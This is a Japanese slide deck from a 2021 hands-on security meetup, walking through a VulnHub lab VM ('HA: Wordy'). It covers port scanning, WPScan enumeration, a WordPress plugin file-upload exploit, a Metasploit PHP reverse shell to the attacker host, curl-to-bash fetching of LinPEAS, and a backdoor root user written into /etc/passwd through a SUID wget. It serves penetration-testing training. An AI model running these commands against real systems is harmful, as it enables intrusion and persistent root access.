イエラエセキュリティMeet up 20210820

© 2021 Ierae Security Inc. All Rights Reserved. 0
© 2021 Ierae Security Inc. All Rights Reserved.
ハンズオン勉強会
2021年8月20日

• 講師の紹介
• OSINT PTとVulnHub
• 攻撃者環境の構築
• 本日の攻撃対象
• Walkthrough: Wordy
• チャレンジ問題
• チャレンジ問題 Writeup
AGENDA

講師の紹介
講師の紹介

講師の紹介
Twitter: @kawakatz

OSINT PTとVulnHub
OSINT PTとVulnHub

OSINT PTとVulnHub
 管理アセット（ドメイン・ネットワーク）の調査
 サブドメイン探索
 利用SaaSの特定
 ポートスキャン
 各サービスへの調査
 認証情報の探索
 Google検索
 etc...
 Webアプリケーションへの攻撃
 既知の脆弱性の悪用
 認証試行
 0dayの調査
 etc...
 権限昇格
 横展開
 etc...
 エントリーポイント候補の洗い出し
 エントリーポイントへの侵入に向けた情報収集
 フィッシング

攻撃者環境の構築
攻撃者環境の構築

攻撃者環境の構築（Kali Linux）
sudo su
passwd
 rootユーザの有効化

本日の攻撃対象

 HA: WORDY
URL：https://www.vulnhub.com/entry/ha-wordy,363/
目標：サーバのroot権限を奪取する

 関連サービス
 Hack The Box (https://www.hackthebox.eu/)
Boxと呼ばれるサーバを攻略しながら、PTの基礎的な攻撃手法を学ぶことができるサービス。
Boxは定期的に入れ替わるため、新しいBoxに挑戦し続けることができる。
Challengeと呼ばれるCTF系の問題も多数存在している。

 TryHackMe (https://tryhackme.com/)
Hack The Boxと似ているが、テーマごとに分けて学習を進めることができる。

 OSCP (https://www.offensive-security.com/pwk-oscp/、https://ierae.co.jp/lp/ierae-academy/#course1)
Offensive Security社が提供する実践的なPTの資格。

 HA: WORDY
学びたい事
 Nmapを用いたポートスキャン
 Burp Suiteを用いたHTTP通信の確認
 Dirsearchを用いたディレクトリ探索
 WPScanを用いたWordPressに対する調査
 Exploit Codeの理解・悪用
 LinPEASを用いた権限昇格フローの調査
 脆弱性の悪用方法の理解・悪用

検証環境の設定

 前提条件
VirtualBoxにKali LinuxとWordyがインポートされていること
 VirtualBoxのNW設定

 NATネットワークを用いた仮想マシン間通信の実現
ここでは、VirtualBoxのNATネットワークを用いて、Kali LinuxとWordy間の通信を実現させます。
ファイル > 環境設定 > ネットワーク > ＋マーク

各仮想マシンのアダプタとして、先ほど作成したネットワークを用いてNATネットワークを指定します。

2つの仮想マシンを起動します。
Kali Linux側でifconfigコマンドを実行すると、10.0.2.0/24内のIPアドレスが付与されていることが確認できます。

 ホストオンリーアダプタを用いた仮想マシン間通信の実現
netdiscoverコマンドを用いて、指定したIPレンジ内に存在するホストを列挙します。
netdiscover –r 10.0.2.0/24
※ X.X.X.1のIPアドレスは基本的にホストOSとなります。その他、対象のIPアドレスが1つに絞れない場合、ポート
スキャンの段階まで各IPアドレスに実施していただいて問題ありません。

Walkthrough: Wordy
Walkthrough: Wordy

Walkthrough: Wordy
目的：外部からアクセス可能なサービスの列挙
 TCPのフルポートスキャン
nmap <IP Address> -p- -sVC –n
-p-: すべてのポートを対象として指定
-sVC (= -sV + -sC): 各サービスのバージョン特定を試行 + 各サービスに対して基礎的な情報収集スクリプトを実行
-n: 逆引きDNS解決を行わない
 UDPのTOP1000ポートに対するスキャン
nmap <IP Address> -sUVC –n
-sU: UDPのポートスキャンを実施
 Nmapを用いたポートスキャン

Walkthrough: Wordy
nmap <IP Address> -p- -sVC –n
nmap <IP Address> -sUVC –n

Walkthrough: Wordy
nmap <IPアドレス> -p- -sVC –n
nmap <IPアドレス> -sUVC –n

Walkthrough: Wordy
目的：HTTPリクエスト・レスポンスの確認 + 視覚的な調査
Project options > Misc > Embedded Browser > Allow the embedded browser to run without a sandbox.
Proxy > Intercept > Open Browser
 Burp Suiteを用いたHTTP通信の確認

Walkthrough: Wordy

Walkthrough: Wordy
Proxy > HTTP history

Walkthrough: Wordy
 AQUATONE (https://github.com/michenriksen/aquatone)
 EyeWitness (https://github.com/FortyNorthSecurity/EyeWitness)

Walkthrough: Wordy
目的：アクセス可能なURLの発見
 Google検索
site:<ドメイン名>
 Wayback Machine (https://web.archive.org/)
 Dirsearchを用いたディレクトリ探索

Walkthrough: Wordy
 waybackurls (https://github.com/tomnomnom/waybackurls)
Twitter: @TomNomNom
waybackurls <ドメイン名>
 getallurls (https://github.com/lc/gau)
gau <ドメイン名>

Walkthrough: Wordy
 Dirsearch (https://github.com/maurosoria/dirsearch)
apt install dirsearch
dirsearch –u <URL> (-w <Wordlist>)
-w: 使用するワードリストを指定 (https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/)

Walkthrough: Wordy

Walkthrough: Wordy
 Wappalyzer (https://www.wappalyzer.com/)

Walkthrough: Wordy
目的：WordPress固有の問題の調査
 WPScan (https://wpscan.com)
API Tokenがあるとなおよし
 WPScanを用いたWordPressに対する調査

Walkthrough: Wordy
http://192.168.43.13/wordpress/?author=1
-> http://192.168.43.13/wordpress/index.php/author/admin/

Walkthrough: Wordy
-eオプションについて

Walkthrough: Wordy
wpscan --url http://<IP Address>/wordpress --enumerate (--api-token <API Token>)

Walkthrough: Wordy
wpscan --url http://192.168.43.13/wordpress --enumerate (--api-token <API Token>)

Walkthrough: Wordy
wpscan --url http://192.168.43.13/wordpress –enumerate ap (--plugins-detection aggressive)

Walkthrough: Wordy

Walkthrough: Wordy
searchsploit reflex gallery

休憩（5分）
休憩（5分）

Walkthrough: Wordy
目的：脆弱性の悪用
 WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload (https://www.exploit-db.com/exploits/36374)
searchsploit -m 36374
cat 36374.txt
 Exploit Codeの理解・悪用

Walkthrough: Wordy
vim exploit.html
python3 –m http.server 80
echo "<?php phpinfo(); ?>" > phpinfo.php

Walkthrough: Wordy
http://127.0.0.1/exploit.htmlからphpinfo.phpをサーバにアップロード
-> http://<IP Address>/wordpress/wp-content/uploads/2015/03/phpinfo.php

Walkthrough: Wordy

Walkthrough: Wordy
vim exploit.html

Walkthrough: Wordy
http://127.0.0.1/exploit.htmlからphpinfo.phpをサーバにアップロード（再チャレンジ）

Walkthrough: Wordy

Walkthrough: Wordy
 Reverse Shell とは
攻撃対象のサーバから攻撃者のサーバ（C2サーバ）に接続し、遠隔操作を可能にすること
① 脆弱性を悪用した攻撃
② C2サーバへ接続
③ C2サーバ越しに遠隔操作
C2サーバ攻撃対象サーバ

Walkthrough: Wordy
 Reverse Shell とは
攻撃対象のサーバから攻撃者のサーバ（C2サーバ）に接続し、遠隔操作を可能にすること
① 脆弱性を悪用した攻撃
② C2サーバへ接続
③ C2サーバ越しに遠隔操作
C2サーバ攻撃対象サーバ
Kali Linux Wordy

Walkthrough: Wordy
 Metasploit Framework (https://www.metasploit.com/)
msfvenom –l payload | grep php
msfvenom -p php/reverse_php LHOST=<Kali's IP> LPORT=<Kali's Listen Port> -o shell.php

Walkthrough: Wordy
msfconsole

Walkthrough: Wordy
msf6 > use multi/handler
msf6 > options

Walkthrough: Wordy
msf6 exploit(multi/handler) > set payload php/reverse_php
msf6 exploit(multi/handler) > set LHOST <Kali's IP>
msf6 exploit(multi/handler) > set LPORT <Kali's Listen Port>
msf6 exploit(multi/handler) > run

Walkthrough: Wordy
http://127.0.0.1/exploit.htmlからshell.phpをサーバにアップロード（再チャレンジ）
-> http://<IP Address>/wordpress/wp-content/uploads/2021/08/shell.php

Walkthrough: Wordy
 WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit) (https://www.exploit-db.com/exploits/36809)

Walkthrough: Wordy
msfconsole
msf6 > search reflex gallery

Walkthrough: Wordy
msf6 > use 0
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > options
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOST <Wordy's IP>
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LHOST <Kali's IP>
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LPORT <Kali's Listen Port>
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set Proxies http:127.0.0.1
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > advanced
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set ReverseAllowProxy true
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run

Walkthrough: Wordy

休憩（5分）
休憩（5分）

Walkthrough: Wordy
目的：権限昇格フローの発見
 LinPEAS - Linux Privilege Escalation Awesome Script (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
 LinPEASを用いた権限昇格フローの調査

Walkthrough: Wordy
 PTY (pseudo terminal)
「擬似端末（ぎじたんまつ、英語: pseudo terminal）または疑似ターミナルとは、UNIXにおけるテキスト端末の擬似
デバイスのマスター・スレーブのペアである。仮想コンソール、端末装置、シリアルポートハードウェアなどを使用
しないテキスト端末のインターフェイスを提供する。これらのハードウェアの代わりに、擬似端末セッションの役割
をソフトウェア（プロセス）が代用する。例えば、SSHなどでログインするとこの端末に接続される。」
（引用元: https://ja.wikipedia.org/wiki/%E6%93%AC%E4%BC%BC%E7%AB%AF%E6%9C%AB）
-> より扱いやすい + より見やすいTerminal
meterpreter > shell
python3 –c 'import pty; pty.spawn("/bin/bash")'

Walkthrough: Wordy
curl http://<Kali's IP>/linpeas.sh | bash
wget http://<Kali's IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Walkthrough: Wordy
cat linpeas.sh | bash

Walkthrough: Wordy

Walkthrough: Wordy
 GTFOBins (https://gtfobins.github.io/)

Walkthrough: Wordy

Walkthrough: Wordy
cp wget -> SUID
root権限で書き込み可能

Walkthrough: Wordy
cp wget -> SUID
root権限で書き込み可能
/etc/passwdを書き換えよう！

Walkthrough: Wordy
 /etc/passwdの書き換え
ここでは、backdoorとなる管理者ユーザを追加します。
まず、/etc/passwdからrootユーザの行をpasswdファイルの形式と照らし合わせながら見ていきます。
<UserName>:<Password Hash>:<User ID>:<Group ID>:<Comment>:<Home Directory>:<Login Shell>
root:x:0:0:root:/root:/bin/bash
※ Password Hashに「x」と指定されている場合、ハッシュ値は/etc/shadowファイル内で定義されています。
rootユーザの行をベースにbackdoorとなるユーザの行を作成していきます。

Walkthrough: Wordy
ユーザ名とパスワードのハッシュのみを書き換えれば良いため、指定するパスワードハッシュを生成します。
パスワードハッシュは以下の形式になっており、idの値によってハッシュアルゴリズムを特定することができます。
$id$salt$hash
1: MD5
5: SHA256
6: SHA512

Walkthrough: Wordy
ユーザ名とパスワードのハッシュのみを書き換えれば良いため、指定するパスワードハッシュを生成します。
パスワードハッシュは以下の形式になっており、idの値によってハッシュアルゴリズムを特定することができます。
$id$salt$hash
1: MD5
5: SHA256
6: SHA512
こうしたパスワードハッシュはopensslコマンドのpasswdサブコマンドを用いて、以下のように生成することができ
ます。
openssl passwd -<id> -salt <Salt> <Password>

Walkthrough: Wordy
WordyサーバのpasswdをKaliにコピーし、末尾に1行追記します。
その後、Python製のWebサーバを起動し、改ざんしたpasswdファイルを配送する用意をします。
vim passwd
echo 'ieraebackdoor:$1$ierae$1G/feXS0Di6qME/LP6Zg90:0:0:root:/root:/bin/bash' >> passwd

Walkthrough: Wordy
wgetのSUIDを悪用してWordyサーバの/etc/passwdを書き換えます。
wget http://<Kali's IP>/passwd –O /etc/passwd

Walkthrough: Wordy
/etc/passwdを書き換えたため、suコマンドを用いてbackdoorのユーザにログインし直すことができます。
結果として、root権限を奪取することに成功しました。
su <Backdoor UserName>

休憩（5分）
休憩（5分）

チャレンジ問題

[!] Title: Gwolle Guestbook <= 1.5.3 - Remote File Inclusion (RFI)
[!] Title: Gwolle Guestbook <= 2.1.0 - Cross-Site Request Forgery (CSRF)
[!] Title: Gwolle Guestbook <= 2.1.0 - Unauthenticated Stored Cross-Site Scripting (XSS)
[!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)
[!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
[!] Title: Mail Masta 1.0 - Multiple SQL Injection
[!] Title: Reflex Gallery <= 3.1.3 - Arbitrary File Upload
[!] Title: Multiple Plugins - jQuery prettyPhoto DOM Cross-Site Scripting (XSS)
[!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
[!] Title: Slideshow Gallery < 1.4.7 - Arbitrary File Upload
[!] Title: Tribulant Slideshow Gallery <= 1.5.3 - Arbitrary file upload & Cross-Site Scripting (XSS)
[!] Title: Tribulant Slideshow Gallery <= 1.6.4 - Authenticated Cross-Site Scripting (XSS)
[!] Title: Slideshow Gallery <= 1.6.5 - Multiple Authenticated Cross-Site Scripting (XSS)
[!] Title: Slideshow Gallery <= 1.6.8 - XSS and SQLi
[!] Title: EasyCart <= 3.0.15 - Unrestricted File Upload
[!] Title: EasyCart 1.1.30 - 3.0.20 - Privilege Escalation
[!] Title: WP Support Plus Responsive Ticket System < 8.0.0 – Authenticated SQL Injection
[!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution (RCE)
[!] Title: WP Support Plus Responsive Ticket System < 9.0.3 - Multiple Authenticated SQL Injection
[!] Title: WP Support Plus Responsive Ticket System < 9.1.2 - Stored XSS
[!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
[!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
[!] Title: WP Symposium 13.04 - Unvalidated Redirect
[!] Title: WP Symposium <= 12.07.07 - Authentication Bypass
[!] Title: WP Symposium <= 14.11 - Unauthenticated Shell Upload
[!] Title: WP Symposium <= 15.1 - SQL Injection
[!] Title: WP Symposium <= 15.5.1 - Unauthenticated SQL Injection
[!] Title: WP Symposium <= 15.1 - Blind SQL Injection
[!] Title: WP Symposium <= 15.8.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
 別の方法でReverse Shellを奪取しよう！

チャレンジ問題のヒント
 WPScanのReferencesやGoogle検索からExploit Codeを見つけよう！
 ディレクトリ・リスティングを使って、アクセスすべきURLを特定しよう！
 ヒント

 ヒント

チャレンジ問題 Writeup
チャレンジ問題 Writeup

 Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
searchsploit WP Support Plus Responsive

vim exploit.html
cp shell.php shell.phtml

10
msf6 exploit(multi/handler) > options
msf6 exploit(multi/handler) > run

10
http://127.0.0.1/exploit.htmlからshell.phtmlをサーバにアップロード
-> http://<IP Address>/wordpress/wp-content/uploads/wpsp/shell.phtml

10
http://192.168.43.13/wordpress/wp-content/uploads/wpsp/

イエラエセキュリティMeet up 20210820

More Related Content

What's hot

Similar to イエラエセキュリティMeet up 20210820

Recently uploaded

イエラエセキュリティMeet up 20210820